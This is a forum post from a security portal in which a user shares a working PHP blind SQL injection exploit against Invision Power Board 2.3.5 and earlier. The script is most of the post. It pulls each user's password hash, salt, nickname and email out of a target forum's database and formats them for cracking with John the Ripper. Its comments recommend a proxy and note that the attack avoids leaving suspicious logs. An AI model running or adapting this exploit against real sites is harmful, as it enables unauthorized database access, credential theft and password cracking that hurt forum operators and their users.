Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
December 6, 2022
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 118
Members: 0
Total: 118
PacketStorm News
Currently there is a problem with headlines from this site
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Invision Power Board -> John The Ripper support
Post new topic  Reply to topic View previous topic :: View next topic 
John The Ripper support
PostPosted: Fri Sep 25, 2009 10:05 pm Reply with quote
r3v_0
Beginner
Beginner
 
Joined: Sep 26, 2009
Posts: 2




Hey guys, first off I'd like to say what a great site! been a waraxe follower for a while now and decided to finally join.
I have used the IPB < 2.3.5 exploit recently, and was annoyed by having to turn the salt into hex for use in JTR, so taking the modification from k40t1x to Waraxe's awesome script, made it JTR friendly. Hope its of use to someone.

-r3v

Code:

<?php
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
// IPB <= 2.3.5 sql injection exploit
// Version 1.2
// written by Janek Vind "waraxe"
// modified by k40t1x
// JTR friendly mod by r3v_0
// Estonia, Tartu
// http://www.waraxe.us/
// 24. september 2008
// based on DarkFig's advisory
// http://acid-root.new.fr/?0:18
//
// FEATURES:
// 1. Fetching algorithm optimized for speed
// 2. Attack goes through $_POST, so no suspicious logs
// 3. Pretesting saves time if IPB is not vulnerable
// 4. curl extension autoloading
// 5. can work with multiple ID-s
// 6. log format compatible with JTR
// 7. Get extra infos (email and nicknames)  + start and end_index through cli
// More useful tools: http://www.waraxe.us/tools/
// Waraxe forums: http://www.waraxe.us/forums.html
//
// NB! This exploit is meant to be run as php CLI!
// http://www.php.net/features.commandline
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
//=====================================================================
global $argv;
$url = 'http://www.website.com/';
$id_start = 1;// starting user ID, default value "1" is admin's ID
$id_end = 1;// ending user ID
$prefix = 'ibf_';// IPB table prefix, default is "ibf_"
# Proxy settings
# Be sure to use proxy :)
//$proxy_ip_port = '127.0.0.1:8118';
//$proxy_user_password = 'someuser:somepassword';
$outfile = 'directory/' . $id_start. "-" . $id_end . '.txt';// Log file

//======================================================================
///////////////////////////////////////////////////////////////////////
// Don't mess below this line, unless you know the stuff ;)
///////////////////////////////////////////////////////////////////////
//=====================================================================
///////////////////////////////////////////////////////////////////////
if(!extension_loaded('curl'))
{
   if(!dl('php_curl.dll'))
   {
      die("Curl extension not loaded!\n Fatal exit ...\n");
   }
   else
   {
      echo "Curl loading success\n";
   }
}
//=====================================================================
$cli = php_sapi_name() === 'cli';
//=====================================================================
// Warning, if executed from webserver
//=====================================================================
if(!$cli)
{
   if(!isset($_REQUEST['wtf-is-cli']))
   {
      echo "<html><head><title>Attention!</title></head>\n";
      echo "<body><br /><br /><center>\n";
      echo "<h1>Warning!</h1>\n";
      echo "This exploit is meant to be used as php CLI script!<br />\n";
      echo "More information:<br />\n";
      echo "<a href=\"http://www.google.com/search?hl=en&q=php+cli+windows\" target=\"_blank\">http://www.google.com/search?hl=en&q=php+cli+windows</a><br />\n";
      echo "Still, you can try to run it from webserver.<br />\n";
      echo "Just press the button below and prepare for long waiting<br />\n";
      echo "And learn to use php CLI next time, please ...<br />\n";
      echo "<form method=\"get\">\n";
      echo "<input type=\"submit\" name=\"wtf-is-cli\" value=\"Let me in, i don't care\">\n";
      echo "</form>\n";
      echo "</center></body></html>\n";
      exit;
   }
   else
   {
      // Let's try to maximize our chances without CLI
      @set_time_limit(0);
   }
}
//=====================================================================
xecho("Target: $url\n");
xecho("Sql table prefix: $prefix\n");
xecho("Testing target URL ... \n");
test_target_url();
xecho("Target URL seems to be valid\n");
add_line("# Target: $url");

for($i = $id_start; $i <= $id_end; $i ++)
{
   echo "Testing ID $i\n";
   if(!test_target_id($i))
   {
      echo "ID $i not valid, passing ...\n";
      continue;
   }
   echo "ID $i validated\n";
   

   $nick_length = get_nicklength($i);
   //$email_length = get_emaillength($i);   
   $nick = trim(get_nick($i,$nick_length));
   $hash = get_hash($i);
   $salt = get_salt($i);
   $salthash = get_salt_hash($salt);
   //$email = trim(get_email($i,$email_length));   
   $line = "$i:$nick:$hash:$salt:$email";  //for PasswordsPro
   $line = "$nick:\$IPB2$$salthash$$hash"; //for JTR

   add_line($line);

   xecho("\n------------------------------------------\n");
   xecho("User ID: $i\n");
   xecho("Nicklength: $nick_length\n");
   xecho("Nick: $nick\n");
   xecho("Hash: $hash\n");
   xecho("salt hex: $salthash\n");
   xecho("Salt: $salt\n");
   xecho("JTR string: $nick:\$IPB2$$salthash$$hash\n");
   xecho("Email: $email");
   xecho("\n------------------------------------------\n");
}

add_line("------------------------------------------");

xecho("\nQuestions and feedback - http://www.waraxe.us/ \n");
die("See ya! :) \n");
//////////////////////////////////////////////////////////////////////

//////////////////////////////////////////////////////////////////////
function test_target_url()
{
   global $url;
   
   $post = 'act=xmlout&do=check-display-name&name=somethingfoobarkind%2527 OR 1=1-- ';
   $buff = trim(make_post($url, $post, '', $url));

   if($buff === 'notfound')
   {
      die('Target is patched? Exiting ...');
   }
   
   if($buff !== 'found')
   {
      die('Invalid response, target URL not valid? Exiting ...');
   }
}
//////////////////////////////////////////////////////////////////////
function test_target_id($id)
{
   global $url, $prefix;
   
   $post = 'UNION SELECT 1,1 FROM ' . $prefix . 'members_converge WHERE converge_id=' . $id . ' AND LENGTH(converge_pass_hash)=32';

   return test_condition($post);
}
///////////////////////////////////////////////////////////////////////
function get_salt($id)
{
   $len = 5;
   $out = '';
   
   xecho("Finding salt ...\n");
   
   for($i = 1; $i < $len + 1; $i ++)
   {
      $ch = get_saltchar($i, $id);
#      xecho("Got pos $i --> $ch\n");
      $out .= "$ch";
#      xecho("Current salt: $out \n");
   }
   
   xecho("\nFinal salt for ID $id: $out\n\n");
   
   return $out;
}
///////////////////////////////////////////////////////////////////////
function get_saltchar($pos, $id)
{
   global $prefix;

   $char = '';
   $min = 32;
   $max = 128;
   $pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members_converge WHERE converge_id=$id AND ORD(SUBSTR(converge_pass_salt,$pos,1))";
   $curr = 0;
   
   while(1)
   {
      $area = $max - $min;
      if($area < 2 )
      {
         $post = $pattern . "=$max";
         $eq = test_condition($post);
         
         if($eq)
         {
            $char = chr($max);
         }
         else
         {
            $char = chr($min);
         }
         
         break;
      }
     
      $half = intval(floor($area / 2));
      $curr = $min + $half;
     
      $post = $pattern . '%253e' . $curr;
     
      $bigger = test_condition($post);
     
      if($bigger)
      {
         $min = $curr;
      }
      else
      {
         $max = $curr;
      }

#      xecho("Current test: $curr-$max-$min\n");
   }
   
   return $char;
}
///////////////////////////////////////////////////////////////////////
function get_hash($id)
{
   $len = 32;
   $out = '';
   
   xecho("Finding hash ...\n");
   
   for($i = 1; $i < $len + 1; $i ++)
   {
      $ch = get_hashchar($i, $id);
#      xecho("Got pos $i --> $ch\n");
      $out .= "$ch";
#      xecho("Current hash: $out \n");
   }
   
   xecho("\nFinal hash for ID $id: $out\n\n");
   
   return $out;
}
///////////////////////////////////////////////////////////////////////
function get_hashchar($pos, $id)
{
   global $prefix;

   $char = '';
   $pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members_converge WHERE converge_id=$id AND ORD(SUBSTR(converge_pass_hash,$pos,1))";

   // First let's determine, if it's number or letter
   $post = $pattern . '%253e57';
   $letter = test_condition($post);
   
   if($letter)
   {
      $min = 97;
      $max = 102;
//      xecho("Char to find is [a-f]\n");
   }
   else
   {
      $min = 48;
      $max = 57;
//      xecho("Char to find is [0-9]\n");
   }

   $curr = 0;
   
   while(1)
   {
      $area = $max - $min;
      if($area < 2 )
      {
         $post = $pattern . "=$max";
         $eq = test_condition($post);
         
         if($eq)
         {
            $char = chr($max);
         }
         else
         {
            $char = chr($min);
         }
         
         break;
      }
     
      $half = intval(floor($area / 2));
      $curr = $min + $half;
     
      $post = $pattern . '%253e' . $curr;
     
      $bigger = test_condition($post);
     
      if($bigger)
      {
         $min = $curr;
      }
      else
      {
         $max = $curr;
      }

#      xecho("Current test: $curr-$max-$min\n");
   }
   
   return $char;
}
///////////////////////////////////////////////////////////////////////
function get_email($id,$len)
{
  // $len = 20;
   $out = '';
   
   xecho("Finding Email ...\n");
   
   for($i = 1; $i < $len + 1; $i ++)
   {
      $ch = get_emailchar($i, $id);
#      xecho("Got pos $i --> $ch\n");
      $out .= "$ch";
#      xecho("Current email: $out \n");
   }
   
   xecho("\nFinal Email for ID $id: $out\n\n");
   
   return $out;
}
///////////////////////////////////////////////////////////////////////
function get_emailchar($pos, $id)
{
   global $prefix;

   $char = '';
   $min = 32;
   $max = 128;
   $pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members_converge WHERE converge_id=$id AND ORD(SUBSTR(converge_email,$pos,1))";
   $curr = 0;
   
   while(1)
   {
      $area = $max - $min;
      if($area < 2 )
      {
         $post = $pattern . "=$max";
         $eq = test_condition($post);
         
         if($eq)
         {
            $char = chr($max);
         }
         else
         {
            $char = chr($min);
         }
         
         break;
      }
     
      $half = intval(floor($area / 2));
      $curr = $min + $half;
     
      $post = $pattern . '%253e' . $curr;
     
      $bigger = test_condition($post);
     
      if($bigger)
      {
         $min = $curr;
      }
      else
      {
         $max = $curr;
      }

#      xecho("Current test: $curr-$max-$min\n");
   }
   
   return $char;
}
///////////////////////////////////////////////////////////////////////
function get_nick($id,$len)
{
   $out = '';
   
   xecho("Finding Nickname ...\n");
   
   for($i = 1; $i < $len + 1; $i ++)
   {
      $ch = get_nickchar($i, $id);
#      xecho("Got pos $i --> $ch\n");
      $out .= "$ch";
#      xecho("Current email: $out \n");
   }
   
   xecho("\nFinal Nick for ID $id: $out\n\n");
   
   return $out;
}
///////////////////////////////////////////////////////////////////////
function get_nickchar($pos, $id)
{
   global $prefix;

   $char = '';
   $min = 32;
   $max = 128;
   $pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members WHERE id=$id AND ORD(SUBSTR(name,$pos,1))";
   $curr = 0;
   
   while(1)
   {
      $area = $max - $min;
      if($area < 2 )
      {
         $post = $pattern . "=$max";
         $eq = test_condition($post);
         
         if($eq)
         {
            $char = chr($max);
         }
         else
         {
            $char = chr($min);
         }
         
         break;
      }
     
      $half = intval(floor($area / 2));
      $curr = $min + $half;
     
      $post = $pattern . '%253e' . $curr;
     
      $bigger = test_condition($post);
     
      if($bigger)
      {
         $min = $curr;
      }
      else
      {
         $max = $curr;
      }

#      xecho("Current test: $curr-$max-$min\n");
   }
   
   return $char;
}
///////////////////////////////////////////////////////////////////////
function get_nicklength($id)
{
   $len = 2;
   $out = '';
   
   xecho("Finding Nickname length ...\n");
   
   for($i = 1; $i < $len + 1; $i ++)
   {
      $ch = get_nicklengthchar($i, $id);
#      xecho("Got pos $i --> $ch\n");
      $out .= "$ch";
#      xecho("Current email: $out \n");
   }
   
   xecho("\nFinal Nicklength for ID $id: $out\n\n");
   
   return $out;
}
///////////////////////////////////////////////////////////////////////
function get_nicklengthchar($pos, $id)
{
   global $prefix;

   $char = '';
   $min = 32;
   $max = 128;
   $pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members WHERE id=$id AND ORD(SUBSTR(length(name),$pos,1))";
   $curr = 0;
   
   while(1)
   {
      $area = $max - $min;
      if($area < 2 )
      {
         $post = $pattern . "=$max";
         $eq = test_condition($post);
         
         if($eq)
         {
            $char = chr($max);
         }
         else
         {
            $char = chr($min);
         }
         
         break;
      }
     
      $half = intval(floor($area / 2));
      $curr = $min + $half;
     
      $post = $pattern . '%253e' . $curr;
     
      $bigger = test_condition($post);
     
      if($bigger)
      {
         $min = $curr;
      }
      else
      {
         $max = $curr;
      }

#      xecho("Current test: $curr-$max-$min\n");
   }
   
   return $char;
}
///////////////////////////////////////////////////////////////////////
function get_emaillength($id)
{
   $len = 2;
   $out = '';
   
   xecho("Finding Email length ...\n");
   
   for($i = 1; $i < $len + 1; $i ++)
   {
      $ch = get_emaillengthchar($i, $id);
#      xecho("Got pos $i --> $ch\n");
      $out .= "$ch";
#      xecho("Current email: $out \n");
   }
   
   xecho("\nFinal Email length for ID $id: $out\n\n");
   
   return $out;
}
///////////////////////////////////////////////////////////////////////
function get_emaillengthchar($pos, $id)
{
   global $prefix;

   $char = '';
   $min = 32;
   $max = 128;
   $pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members WHERE id=$id AND ORD(SUBSTR(length(email),$pos,1))";   $curr = 0;
   
   while(1)
   {
      $area = $max - $min;
      if($area < 2 )
      {
         $post = $pattern . "=$max";
         $eq = test_condition($post);
         
         if($eq)
         {
            $char = chr($max);
         }
         else
         {
            $char = chr($min);
         }
         
         break;
      }
     
      $half = intval(floor($area / 2));
      $curr = $min + $half;
     
      $post = $pattern . '%253e' . $curr;
     
      $bigger = test_condition($post);
     
      if($bigger)
      {
         $min = $curr;
      }
      else
      {
         $max = $curr;
      }

#      xecho("Current test: $curr-$max-$min\n");
   }
   
   return $char;
}
///////////////////////////////////////////////////////////////////////
function test_condition($p)
{
   global $url;
   
   $bret = false;
   $maxtry = 10;
   $try = 1;
     
   $pattern = 'act=xmlout&do=check-display-name&name=%%2527 OR 1=%%2522%%2527%%2522 %s OR 1=%%2522%%2527%%2522-- ';
   $post = sprintf($pattern, $p);
   
   while(1)
   {
      $buff = trim(make_post($url, $post, '', $url));

      if($buff === 'found')
      {
         $bret = true;
         break;
      }
      elseif($buff === 'notfound')
      {
         break;
      }
      elseif(strpos($buff, '<title>IPS Driver Error</title>') !== false)
      {
         die("Sql error! Wrong prefix?\nExiting ... ");
      }
      else
      {
         xecho("test_condition() - try $try - invalid return value ...\n");
         $try ++;
         if($try > $maxtry)
         {
            die("Too many tries - exiting ...\n");
         }
         else
         {
            xecho("Trying again - try $try ...\n");
         }
      }
   }
   
   return $bret;
}
///////////////////////////////////////////////////////////////////////
function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE)
{
   $ch = curl_init();
   $timeout = 120;
   curl_setopt ($ch, CURLOPT_URL, $url);
   curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
   curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
   curl_setopt($ch, CURLOPT_POST, 1);
   curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
   curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)');
   
   if(!empty($GLOBALS['proxy_ip_port']))
   {
      curl_setopt($ch, CURLOPT_PROXY, $GLOBALS['proxy_ip_port']);
     
      if(!empty($GLOBALS['proxy_user_password']))
      {
         curl_setopt($ch, CURLOPT_PROXYUSERPWD, $GLOBALS['proxy_user_password']);
      }
   }
   
   if(!empty($cookie))
   {
      curl_setopt ($ch, CURLOPT_COOKIE, $cookie);
   }
 
   if(!empty($referer))
   {
      curl_setopt ($ch, CURLOPT_REFERER, $referer);
   }

   if($headers === TRUE)
   {
      curl_setopt ($ch, CURLOPT_HEADER, TRUE);
   }
   else
   {
      curl_setopt ($ch, CURLOPT_HEADER, FALSE);
   }

   $fc = curl_exec($ch);
   curl_close($ch);
   
   return $fc;
}
///////////////////////////////////////////////////////////////////////
function add_line($line)
{
   global $outfile;
   
   $line .= "\n";
   $fh = fopen($outfile, 'ab');
   fwrite($fh, $line);
   fclose($fh);
   
}
///////////////////////////////////////////////////////////////////////
function xecho($line)
{
   if($GLOBALS['cli'])
   {
      echo "$line";
   }
   else
   {
      $line = nl2br(htmlspecialchars($line));
      echo "$line";
   }
}
//////////////////////////////////////////////////////////////////////
    function get_salt_hash($salt) {
      return chunk_split(bin2hex($salt), 2, "");
    }
   
    function binary2hex($salt) {
      $salt = str_replace(" ", "", $salt);
      $text_array = explode("\r\n", chunk_split($salt, 8));
     $count = count($text_array) -1;
      for ($n = 0; $n < $count ; $n++) {
        $newstring .= str_pad(base_convert($text_array[$n], 2, 16), 2, "0", STR_PAD_LEFT);
      }
      $newstring = chunk_split($newstring, 2, "");
      return $newstring;
    }




?>
]
View user's profile Send private message
John The Ripper support
  www.waraxe.us Forum Index -> Invision Power Board
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB 2001-2008 phpBB Group






Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.142 Seconds